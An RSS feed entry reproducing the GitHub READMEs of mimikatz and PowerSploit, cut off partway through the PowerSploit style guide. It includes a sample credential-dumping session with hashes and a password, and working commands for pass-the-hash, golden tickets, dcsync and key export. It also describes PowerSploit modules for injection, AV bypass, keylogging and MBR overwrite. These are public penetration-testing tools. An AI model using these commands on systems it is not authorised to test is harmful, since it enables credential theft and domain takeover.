<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="/rss.xsl" media="all"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
<channel>
<title>Roastidio.us in webspace https://github.com/</title>
<link>https://roastidio.us/webspace/3798</link>
<atom:link href="https://roastidio.us/webspace?url=https%3A%2F%2Fgithub.com%2F" rel="self" type="application/rss+xml"></atom:link>
<description>Roastidio.us in webspace https://github.com/</description>
<item>
<title>GitHub - gentilkiwi/mimikatz: A little tool to play with Windows security · GitHub</title>
<link>https://github.com/gentilkiwi/mimikatz</link>
<enclosure type="image/jpeg" length="0" url="https://repository-images.githubusercontent.com/18496166/cef9b080-02ad-11eb-9495-a6e982a857c9"></enclosure>
<guid isPermaLink="false">bbJerAifTHcXC8Tq_hb8t6HxmhidAjJvD9ZYeg==</guid>
<pubDate>Sat, 06 Jun 2026 14:38:40 +0000</pubDate>
<description>A little tool to play with Windows security. Contribute to gentilkiwi/mimikatz development by creating an account on GitHub.</description>
<content:encoded>&lt;div&gt;&lt;h1&gt;mimikatz&lt;/h1&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;mimikatz&lt;/code&gt;&lt;/strong&gt; is a tool I&amp;#39;ve made to learn &lt;code&gt;C&lt;/code&gt; and make somes experiments with Windows security.&lt;/p&gt;&lt;p&gt;It&amp;#39;s now well known to extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. &lt;strong&gt;&lt;code&gt;mimikatz&lt;/code&gt;&lt;/strong&gt; can also perform pass-the-hash, pass-the-ticket or build &lt;em&gt;Golden tickets&lt;/em&gt;.&lt;/p&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;.#####.   mimikatz 2.0 alpha (x86) release &amp;quot;Kiwi en C&amp;quot; (Apr  6 2014 22:02:03)
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 &amp;#39;## v ##&amp;#39;   https://blog.gentilkiwi.com/mimikatz             (oe.eo)
  &amp;#39;#####&amp;#39;                                    with  13 modules * * */


mimikatz # privilege::debug
Privilege &amp;#39;20&amp;#39; OK
 
mimikatz # sekurlsa::logonpasswords
 
Authentication Id : 0 ; 515764 (00000000:0007deb4)
Session           : Interactive from 2
User Name         : Gentil Kiwi
Domain            : vm-w7-ult-x
SID               : S-1-5-21-1982681256-1210654043-1600862990-1000
        msv :
         [00000003] Primary
         * Username : Gentil Kiwi
         * Domain   : vm-w7-ult-x
         * LM       : d0e9aee149655a6075e4540af1f22d3b
         * NTLM     : cc36cf7a8514893efccd332446158b1a
         * SHA1     : a299912f3dc7cf0023aef8e4361abfc03e9a8c30
        tspkg :
         * Username : Gentil Kiwi
         * Domain   : vm-w7-ult-x
         * Password : waza1234/
...&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;But that&amp;#39;s not all! &lt;code&gt;Crypto&lt;/code&gt;, &lt;code&gt;Terminal Server&lt;/code&gt;, &lt;code&gt;Events&lt;/code&gt;, ... lots of informations in the GitHub Wiki &lt;a href=&quot;https://github.com/gentilkiwi/mimikatz/wiki&quot;&gt;https://github.com/gentilkiwi/mimikatz/wiki&lt;/a&gt; or on &lt;a href=&quot;https://blog.gentilkiwi.com&quot;&gt;https://blog.gentilkiwi.com&lt;/a&gt; (in French, &lt;em&gt;yes&lt;/em&gt;).&lt;/p&gt;&lt;p&gt;If you don&amp;#39;t want to build it, binaries are availables on &lt;a href=&quot;https://github.com/gentilkiwi/mimikatz/releases&quot;&gt;https://github.com/gentilkiwi/mimikatz/releases&lt;/a&gt;&lt;/p&gt;&lt;div&gt;&lt;h2&gt;Quick usage&lt;/h2&gt;&lt;/div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;log
privilege::debug&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;&lt;h3&gt;sekurlsa&lt;/h3&gt;&lt;/div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;sekurlsa::logonpasswords
sekurlsa::tickets /export

sekurlsa::pth /user:Administrateur /domain:winxp /ntlm:f193d757b4d487ab7e5a3743f038f713 /run:cmd&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;&lt;h3&gt;kerberos&lt;/h3&gt;&lt;/div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;kerberos::list /export
kerberos::ptt c:\chocolate.kirbi

kerberos::golden /admin:administrateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:chocolate.kirbi&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;&lt;h3&gt;crypto&lt;/h3&gt;&lt;/div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;crypto::capi
crypto::cng

crypto::certificates /export
crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE

crypto::keys /export
crypto::keys /machine /export&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;&lt;h3&gt;vault &amp;amp; lsadump&lt;/h3&gt;&lt;/div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;vault::cred
vault::list

token::elevate
vault::cred
vault::list
lsadump::sam
lsadump::secrets
lsadump::cache
token::revert

lsadump::dcsync /user:domain\krbtgt /domain:lab.local&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;&lt;h2&gt;Build&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;mimikatz&lt;/code&gt; is in the form of a Visual Studio Solution and a WinDDK driver (optional for main operations), so prerequisites are:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;for &lt;code&gt;mimikatz&lt;/code&gt; and &lt;code&gt;mimilib&lt;/code&gt; : Visual Studio 2010, 2012 or 2013 for Desktop (&lt;strong&gt;2013 Express for Desktop is free and supports x86 &amp;amp; x64&lt;/strong&gt; - &lt;a href=&quot;http://www.microsoft.com/download/details.aspx?id=44914&quot;&gt;http://www.microsoft.com/download/details.aspx?id=44914&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;&lt;em&gt;for &lt;code&gt;mimikatz driver&lt;/code&gt;, &lt;code&gt;mimilove&lt;/code&gt; (and &lt;code&gt;ddk2003&lt;/code&gt; platform) : Windows Driver Kit &lt;strong&gt;7.1&lt;/strong&gt; (WinDDK) - &lt;a href=&quot;http://www.microsoft.com/download/details.aspx?id=11800&quot;&gt;http://www.microsoft.com/download/details.aspx?id=11800&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;&lt;code&gt;mimikatz&lt;/code&gt; uses &lt;code&gt;SVN&lt;/code&gt; for source control, but is now available with &lt;code&gt;GIT&lt;/code&gt; too!
You can use any tools you want to sync, even incorporated &lt;code&gt;GIT&lt;/code&gt; in Visual Studio 2013 =)&lt;/p&gt;&lt;div&gt;&lt;h3&gt;Synchronize!&lt;/h3&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;GIT URL is  : &lt;a href=&quot;https://github.com/gentilkiwi/mimikatz.git&quot;&gt;https://github.com/gentilkiwi/mimikatz.git&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;SVN URL is  : &lt;a href=&quot;https://github.com/gentilkiwi/mimikatz/trunk&quot;&gt;https://github.com/gentilkiwi/mimikatz/trunk&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;ZIP file is : &lt;a href=&quot;https://github.com/gentilkiwi/mimikatz/archive/master.zip&quot;&gt;https://github.com/gentilkiwi/mimikatz/archive/master.zip&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;&lt;h3&gt;Build the solution&lt;/h3&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;After opening the solution, &lt;code&gt;Build&lt;/code&gt; / &lt;code&gt;Build Solution&lt;/code&gt; (you can change architecture)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;mimikatz&lt;/code&gt; is now built and ready to be used! (&lt;code&gt;Win32&lt;/code&gt; / &lt;code&gt;x64&lt;/code&gt; even &lt;code&gt;ARM64&lt;/code&gt; if you&amp;#39;re lucky)
&lt;ul&gt;
&lt;li&gt;you can have error &lt;code&gt;MSB3073&lt;/code&gt; about &lt;code&gt;_build_.cmd&lt;/code&gt; and &lt;code&gt;mimidrv&lt;/code&gt;, it&amp;#39;s because the driver cannot be build without Windows Driver Kit &lt;strong&gt;7.1&lt;/strong&gt; (WinDDK), but &lt;code&gt;mimikatz&lt;/code&gt; and &lt;code&gt;mimilib&lt;/code&gt; are OK.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;&lt;h3&gt;ddk2003&lt;/h3&gt;&lt;/div&gt;&lt;p&gt;With this optional MSBuild platform, you can use the WinDDK build tools, and the default &lt;code&gt;msvcrt&lt;/code&gt; runtime (smaller binaries, no dependencies)&lt;/p&gt;&lt;p&gt;For this optional platform, Windows Driver Kit &lt;strong&gt;7.1&lt;/strong&gt; (WinDDK) - &lt;a href=&quot;http://www.microsoft.com/download/details.aspx?id=11800&quot;&gt;http://www.microsoft.com/download/details.aspx?id=11800&lt;/a&gt; and Visual Studio &lt;strong&gt;2010&lt;/strong&gt; are mandatory, even if you plan to use Visual Studio 2012 or 2013 after.&lt;/p&gt;&lt;p&gt;Follow instructions:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.gentilkiwi.com/programmation/executables-runtime-defaut-systeme&quot;&gt;https://blog.gentilkiwi.com/programmation/executables-runtime-defaut-systeme&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;&lt;a href=&quot;https://blog.gentilkiwi.com/cryptographie/api-systemfunction-windows#winheader&quot;&gt;https://blog.gentilkiwi.com/cryptographie/api-systemfunction-windows#winheader&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;&lt;h2&gt;Continuous Integration&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;mimikatz&lt;/code&gt; project is available on AppVeyor - &lt;a href=&quot;https://ci.appveyor.com/project/gentilkiwi/mimikatz&quot;&gt;https://ci.appveyor.com/project/gentilkiwi/mimikatz&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Its status is: &lt;a href=&quot;https://camo.githubusercontent.com/7a32ef93105b799ed0b2e5b6d2e631f16b4f17c3d0d97b35693401d36b433bcd/68747470733a2f2f63692e6170707665796f722e636f6d2f6170692f70726f6a656374732f7374617475732f6769746875622f67656e74696c6b6977692f6d696d696b61747a3f7376673d7472756526726574696e613d74727565&quot;&gt;&lt;img src=&quot;https://camo.githubusercontent.com/7a32ef93105b799ed0b2e5b6d2e631f16b4f17c3d0d97b35693401d36b433bcd/68747470733a2f2f63692e6170707665796f722e636f6d2f6170692f70726f6a656374732f7374617475732f6769746875622f67656e74696c6b6977692f6d696d696b61747a3f7376673d7472756526726574696e613d74727565&quot; alt=&quot;AppVeyor CI status&quot; title=&quot;&quot;/&gt;&lt;/a&gt;&lt;/p&gt;&lt;div&gt;&lt;h2&gt;Licence&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;CC BY 4.0 licence - &lt;a href=&quot;https://creativecommons.org/licenses/by/4.0/&quot;&gt;https://creativecommons.org/licenses/by/4.0/&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;mimikatz&lt;/code&gt; needs coffee to be developed:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;PayPal: &lt;a href=&quot;https://www.paypal.me/delpy/&quot;&gt;https://www.paypal.me/delpy/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;&lt;h2&gt;Author&lt;/h2&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Benjamin DELPY &lt;code&gt;gentilkiwi&lt;/code&gt;, you can contact me on Twitter ( @gentilkiwi ) or by mail ( benjamin [at] gentilkiwi.com )&lt;/li&gt;
&lt;li&gt;DCSync and DCShadow functions in &lt;code&gt;lsadump&lt;/code&gt; module were co-writed with Vincent LE TOUX, you can contact him by mail ( vincent.letoux [at] gmail.com ) or visit his website ( &lt;a href=&quot;http://www.mysmartlogon.com&quot;&gt;http://www.mysmartlogon.com&lt;/a&gt; )&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;This is a &lt;strong&gt;personal&lt;/strong&gt; development, please respect its philosophy and don&amp;#39;t use it for bad things!&lt;/p&gt;</content:encoded>
</item>
<item>
<title>GitHub - PowerShellMafia/PowerSploit: PowerSploit - A PowerShell Post-Exploitation Framework · GitHub</title>
<link>https://github.com/PowerShellMafia/PowerSploit</link>
<enclosure type="image/jpeg" length="0" url="https://opengraph.githubassets.com/0437d908944a27b4ffc14d338222aa24e1d2b39db83ed57636baf2eba6aaf5ca/PowerShellMafia/PowerSploit"></enclosure>
<guid isPermaLink="false">NqNeWRxNIqoGt4aLYOkesvdwaoHzEsod4k-khg==</guid>
<pubDate>Sat, 06 Jun 2026 14:38:39 +0000</pubDate>
<description>PowerSploit - A PowerShell Post-Exploitation Framework - PowerShellMafia/PowerSploit</description>
<content:encoded>&lt;div&gt;&lt;h2&gt;This project is no longer supported&lt;/h2&gt;&lt;/div&gt;&lt;div&gt;&lt;h3&gt;PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment. PowerSploit is comprised of the following modules and scripts:&lt;/h3&gt;&lt;/div&gt;&lt;div&gt;&lt;h2&gt;CodeExecution&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Execute code on a target machine.&lt;/strong&gt;&lt;/p&gt;&lt;div&gt;&lt;h4&gt;&lt;code&gt;Invoke-DllInjection&lt;/code&gt;&lt;/h4&gt;&lt;/div&gt;&lt;p&gt;Injects a Dll into the process ID of your choosing.&lt;/p&gt;&lt;div&gt;&lt;h4&gt;&lt;code&gt;Invoke-ReflectivePEInjection&lt;/code&gt;&lt;/h4&gt;&lt;/div&gt;&lt;p&gt;Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process.&lt;/p&gt;&lt;div&gt;&lt;h4&gt;&lt;code&gt;Invoke-Shellcode&lt;/code&gt;&lt;/h4&gt;&lt;/div&gt;&lt;p&gt;Injects shellcode into the process ID of your choosing or within PowerShell locally.&lt;/p&gt;&lt;div&gt;&lt;h4&gt;&lt;code&gt;Invoke-WmiCommand&lt;/code&gt;&lt;/h4&gt;&lt;/div&gt;&lt;p&gt;Executes a PowerShell ScriptBlock on a target computer and returns its formatted output using WMI as a C2 channel.&lt;/p&gt;&lt;div&gt;&lt;h2&gt;ScriptModification&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Modify and/or prepare scripts for execution on a compromised machine.&lt;/strong&gt;&lt;/p&gt;&lt;div&gt;&lt;h4&gt;&lt;code&gt;Out-EncodedCommand&lt;/code&gt;&lt;/h4&gt;&lt;/div&gt;&lt;p&gt;Compresses, Base-64 encodes, and generates command-line output for a PowerShell payload script.&lt;/p&gt;&lt;div&gt;&lt;h4&gt;&lt;code&gt;Out-CompressedDll&lt;/code&gt;&lt;/h4&gt;&lt;/div&gt;&lt;p&gt;Compresses, Base-64 encodes, and outputs generated code to load a managed dll in memory.&lt;/p&gt;&lt;div&gt;&lt;h4&gt;&lt;code&gt;Out-EncryptedScript&lt;/code&gt;&lt;/h4&gt;&lt;/div&gt;&lt;p&gt;Encrypts text files/scripts.&lt;/p&gt;&lt;div&gt;&lt;h4&gt;&lt;code&gt;Remove-Comment&lt;/code&gt;&lt;/h4&gt;&lt;/div&gt;&lt;p&gt;Strips comments and extra whitespace from a script.&lt;/p&gt;&lt;div&gt;&lt;h2&gt;Persistence&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Add persistence capabilities to a PowerShell script&lt;/strong&gt;&lt;/p&gt;&lt;div&gt;&lt;h4&gt;&lt;code&gt;New-UserPersistenceOption&lt;/code&gt;&lt;/h4&gt;&lt;/div&gt;&lt;p&gt;Configure user-level persistence options for the Add-Persistence function.&lt;/p&gt;&lt;div&gt;&lt;h4&gt;&lt;code&gt;New-ElevatedPersistenceOption&lt;/code&gt;&lt;/h4&gt;&lt;/div&gt;&lt;p&gt;Configure elevated persistence options for the Add-Persistence function.&lt;/p&gt;&lt;div&gt;&lt;h4&gt;&lt;code&gt;Add-Persistence&lt;/code&gt;&lt;/h4&gt;&lt;/div&gt;&lt;p&gt;Add persistence capabilities to a script.&lt;/p&gt;&lt;div&gt;&lt;h4&gt;&lt;code&gt;Install-SSP&lt;/code&gt;&lt;/h4&gt;&lt;/div&gt;&lt;p&gt;Installs a security support provider (SSP) dll.&lt;/p&gt;&lt;div&gt;&lt;h4&gt;&lt;code&gt;Get-SecurityPackages&lt;/code&gt;&lt;/h4&gt;&lt;/div&gt;&lt;p&gt;Enumerates all loaded security packages (SSPs).&lt;/p&gt;&lt;div&gt;&lt;h2&gt;AntivirusBypass&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;AV doesn&amp;#39;t stand a chance against PowerShell!&lt;/strong&gt;&lt;/p&gt;&lt;div&gt;&lt;h4&gt;&lt;code&gt;Find-AVSignature&lt;/code&gt;&lt;/h4&gt;&lt;/div&gt;&lt;p&gt;Locates single Byte AV signatures utilizing the same method as DSplit from &amp;quot;class101&amp;quot;.&lt;/p&gt;&lt;div&gt;&lt;h2&gt;Exfiltration&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;All your data belong to me!&lt;/strong&gt;&lt;/p&gt;&lt;div&gt;&lt;h4&gt;&lt;code&gt;Invoke-TokenManipulation&lt;/code&gt;&lt;/h4&gt;&lt;/div&gt;&lt;p&gt;Lists available logon tokens. Creates processes with other users logon tokens, and impersonates logon tokens in the current thread.&lt;/p&gt;&lt;div&gt;&lt;h4&gt;&lt;code&gt;Invoke-CredentialInjection&lt;/code&gt;&lt;/h4&gt;&lt;/div&gt;&lt;p&gt;Create logons with clear-text credentials without triggering a suspicious Event ID 4648 (Explicit Credential Logon).&lt;/p&gt;&lt;div&gt;&lt;h4&gt;&lt;code&gt;Invoke-NinjaCopy&lt;/code&gt;&lt;/h4&gt;&lt;/div&gt;&lt;p&gt;Copies a file from an NTFS partitioned volume by reading the raw volume and parsing the NTFS structures.&lt;/p&gt;&lt;div&gt;&lt;h4&gt;&lt;code&gt;Invoke-Mimikatz&lt;/code&gt;&lt;/h4&gt;&lt;/div&gt;&lt;p&gt;Reflectively loads Mimikatz 2.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any functionality provided with Mimikatz.&lt;/p&gt;&lt;div&gt;&lt;h4&gt;&lt;code&gt;Get-Keystrokes&lt;/code&gt;&lt;/h4&gt;&lt;/div&gt;&lt;p&gt;Logs keys pressed, time and the active window.&lt;/p&gt;&lt;div&gt;&lt;h4&gt;&lt;code&gt;Get-GPPPassword&lt;/code&gt;&lt;/h4&gt;&lt;/div&gt;&lt;p&gt;Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.&lt;/p&gt;&lt;div&gt;&lt;h4&gt;&lt;code&gt;Get-GPPAutologon&lt;/code&gt;&lt;/h4&gt;&lt;/div&gt;&lt;p&gt;Retrieves autologon username and password from registry.xml if pushed through Group Policy Preferences.&lt;/p&gt;&lt;div&gt;&lt;h4&gt;&lt;code&gt;Get-TimedScreenshot&lt;/code&gt;&lt;/h4&gt;&lt;/div&gt;&lt;p&gt;A function that takes screenshots at a regular interval and saves them to a folder.&lt;/p&gt;&lt;div&gt;&lt;h4&gt;&lt;code&gt;New-VolumeShadowCopy&lt;/code&gt;&lt;/h4&gt;&lt;/div&gt;&lt;p&gt;Creates a new volume shadow copy.&lt;/p&gt;&lt;div&gt;&lt;h4&gt;&lt;code&gt;Get-VolumeShadowCopy&lt;/code&gt;&lt;/h4&gt;&lt;/div&gt;&lt;p&gt;Lists the device paths of all local volume shadow copies.&lt;/p&gt;&lt;div&gt;&lt;h4&gt;&lt;code&gt;Mount-VolumeShadowCopy&lt;/code&gt;&lt;/h4&gt;&lt;/div&gt;&lt;p&gt;Mounts a volume shadow copy.&lt;/p&gt;&lt;div&gt;&lt;h4&gt;&lt;code&gt;Remove-VolumeShadowCopy&lt;/code&gt;&lt;/h4&gt;&lt;/div&gt;&lt;p&gt;Deletes a volume shadow copy.&lt;/p&gt;&lt;div&gt;&lt;h4&gt;&lt;code&gt;Get-VaultCredential&lt;/code&gt;&lt;/h4&gt;&lt;/div&gt;&lt;p&gt;Displays Windows vault credential objects including cleartext web credentials.&lt;/p&gt;&lt;div&gt;&lt;h4&gt;&lt;code&gt;Out-Minidump&lt;/code&gt;&lt;/h4&gt;&lt;/div&gt;&lt;p&gt;Generates a full-memory minidump of a process.&lt;/p&gt;&lt;div&gt;&lt;h4&gt;&lt;code&gt;Get-MicrophoneAudio&lt;/code&gt;&lt;/h4&gt;&lt;/div&gt;&lt;p&gt;Records audio from system microphone and saves to disk&lt;/p&gt;&lt;div&gt;&lt;h2&gt;Mayhem&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Cause general mayhem with PowerShell.&lt;/strong&gt;&lt;/p&gt;&lt;div&gt;&lt;h4&gt;&lt;code&gt;Set-MasterBootRecord&lt;/code&gt;&lt;/h4&gt;&lt;/div&gt;&lt;p&gt;Proof of concept code that overwrites the master boot record with the
message of your choice.&lt;/p&gt;&lt;div&gt;&lt;h4&gt;&lt;code&gt;Set-CriticalProcess&lt;/code&gt;&lt;/h4&gt;&lt;/div&gt;&lt;p&gt;Causes your machine to blue screen upon exiting PowerShell.&lt;/p&gt;&lt;div&gt;&lt;h2&gt;Privesc&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Tools to help with escalating privileges on a target.&lt;/strong&gt;&lt;/p&gt;&lt;div&gt;&lt;h4&gt;&lt;code&gt;PowerUp&lt;/code&gt;&lt;/h4&gt;&lt;/div&gt;&lt;p&gt;Clearing house of common privilege escalation checks, along with some weaponization vectors.&lt;/p&gt;&lt;div&gt;&lt;h2&gt;Recon&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Tools to aid in the reconnaissance phase of a penetration test.&lt;/strong&gt;&lt;/p&gt;&lt;div&gt;&lt;h4&gt;&lt;code&gt;Invoke-Portscan&lt;/code&gt;&lt;/h4&gt;&lt;/div&gt;&lt;p&gt;Does a simple port scan using regular sockets, based (pretty) loosely on nmap.&lt;/p&gt;&lt;div&gt;&lt;h4&gt;&lt;code&gt;Get-HttpStatus&lt;/code&gt;&lt;/h4&gt;&lt;/div&gt;&lt;p&gt;Returns the HTTP Status Codes and full URL for specified paths when provided with a dictionary file.&lt;/p&gt;&lt;div&gt;&lt;h4&gt;&lt;code&gt;Invoke-ReverseDnsLookup&lt;/code&gt;&lt;/h4&gt;&lt;/div&gt;&lt;p&gt;Scans an IP address range for DNS PTR records.&lt;/p&gt;&lt;div&gt;&lt;h4&gt;&lt;code&gt;PowerView&lt;/code&gt;&lt;/h4&gt;&lt;/div&gt;&lt;p&gt;PowerView is series of functions that performs network and Windows domain enumeration and exploitation.&lt;/p&gt;&lt;div&gt;&lt;h2&gt;Recon\Dictionaries&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;A collection of dictionaries used to aid in the reconnaissance phase of a penetration test. Dictionaries were taken from the following sources.&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;admin.txt - &lt;a href=&quot;http://cirt.net/nikto2/&quot;&gt;http://cirt.net/nikto2/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;generic.txt - &lt;a href=&quot;http://sourceforge.net/projects/yokoso/files/yokoso-0.1/&quot;&gt;http://sourceforge.net/projects/yokoso/files/yokoso-0.1/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;sharepoint.txt - &lt;a href=&quot;http://www.stachliu.com/resources/tools/sharepoint-hacking-diggity-project/&quot;&gt;http://www.stachliu.com/resources/tools/sharepoint-hacking-diggity-project/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;&lt;h2&gt;License&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;The PowerSploit project and all individual scripts are under the &lt;a href=&quot;https://raw.github.com/mattifestation/PowerSploit/master/LICENSE&quot;&gt;BSD 3-Clause license&lt;/a&gt; unless explicitly noted otherwise.&lt;/p&gt;&lt;div&gt;&lt;h2&gt;Usage&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;Refer to the comment-based help in each individual script for detailed usage information.&lt;/p&gt;&lt;p&gt;To install this module, drop the entire PowerSploit folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable.&lt;/p&gt;&lt;p&gt;The default per-user module path is: &amp;quot;$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules&amp;quot;
The default computer-level module path is: &amp;quot;$Env:windir\System32\WindowsPowerShell\v1.0\Modules&amp;quot;&lt;/p&gt;&lt;p&gt;To use the module, type &lt;code&gt;Import-Module PowerSploit&lt;/code&gt;&lt;/p&gt;&lt;p&gt;To see the commands imported, type &lt;code&gt;Get-Command -Module PowerSploit&lt;/code&gt;&lt;/p&gt;&lt;p&gt;If you&amp;#39;re running PowerShell v3 and you want to remove the annoying &amp;#39;Do you really want to run scripts downloaded from the Internet&amp;#39; warning, once you&amp;#39;ve placed PowerSploit into your module path, run the following one-liner:
&lt;code&gt;$Env:PSModulePath.Split(&amp;#39;;&amp;#39;) | % { if ( Test-Path (Join-Path $_ PowerSploit) ) {Get-ChildItem $_ -Recurse | Unblock-File} }&lt;/code&gt;&lt;/p&gt;&lt;p&gt;For help on each individual command, Get-Help is your friend.&lt;/p&gt;&lt;p&gt;Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability.&lt;/p&gt;&lt;div&gt;&lt;h2&gt;Contribution Rules&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;We need contributions! If you have a great idea for PowerSploit, we&amp;#39;d love to add it. New additions will require the following:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;The script must adhere to the style guide. Any exceptions to the guide line would need an explicit, valid reason.&lt;/li&gt;
&lt;li&gt;The module manifest needs to be updated to reflect the new function being added.&lt;/li&gt;
&lt;li&gt;A brief description of the function should be added to this README.md&lt;/li&gt;
&lt;li&gt;Pester tests must accompany all new functions. See the Tests folder for examples but we are looking for tests that at least cover the basics by testing for expected/unexpected input/output and that the function exhibits desired functionality. Make sure the function is passing all tests (preferably in mutiple OSes) prior to submitting a pull request. Thanks!&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;&lt;h2&gt;Script Style Guide&lt;/h2&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;For all contributors and future contributors to PowerSploit, I ask that you follow this style guide when writing your scripts/modules.&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Avoid Write-Host &lt;strong&gt;at all costs&lt;/strong&gt;. PowerShell functions/cmdlets are not command-line utilities! Pull requests containing code that uses Write-Host will not be considered. You should output custom objects instead. For more information on creating custom objects, read these articles:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://blogs.technet.com/b/heyscriptingguy/archive/2011/05/19/create-custom-objects-in-your-powershell-script.aspx&quot;&gt;http://blogs.technet.com/b/heyscriptingguy/archive/2011/05/19/create-custom-objects-in-your-powershell-script.aspx&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://technet.microsoft.com/en-us/library/ff730946.aspx&quot;&gt;http://technet.microsoft.com/en-us/library/ff730946.aspx&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If you want to display relevant debugging information to the screen, use Write-Verbose. The user can always just tack on &amp;#39;-Verbose&amp;#39;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Always provide descriptive, comment-based help for every script. Also, be sure to include your name and a BSD 3-Clause license (unless there are extenuating circumstances that prevent the application of the BSD license).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Make sure all functions follow the proper PowerShell verb-noun agreement. Use Get-Verb to list the default verbs used by PowerShell. Exceptions to supported verbs will be considered on a case-by-case basis.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;I prefer that variable names be capitalized and be as descriptive as possible.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Provide logical spacing in between your code. Indent your code to make it more readable.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If you find yourself repeating code, write a function.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Catch all anticipated errors and provide meaningful output. If you have an error that should stop execution of the script, use &amp;#39;Throw&amp;#39;. If you have an error that doesn&amp;#39;t need to stop execution, use Write-Error.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If you are writing a script that interfaces with the Win32 API, try to avoid compiling C# inline with Add-Type. Try to use the PSReflect module, if possible.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Do not use hardcoded paths. A script should be useable right out of the box. No one should have to modify the code unless they want to.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;PowerShell v2 compatibility is highly desired.&lt;/p&gt;
&lt;/li&gt;
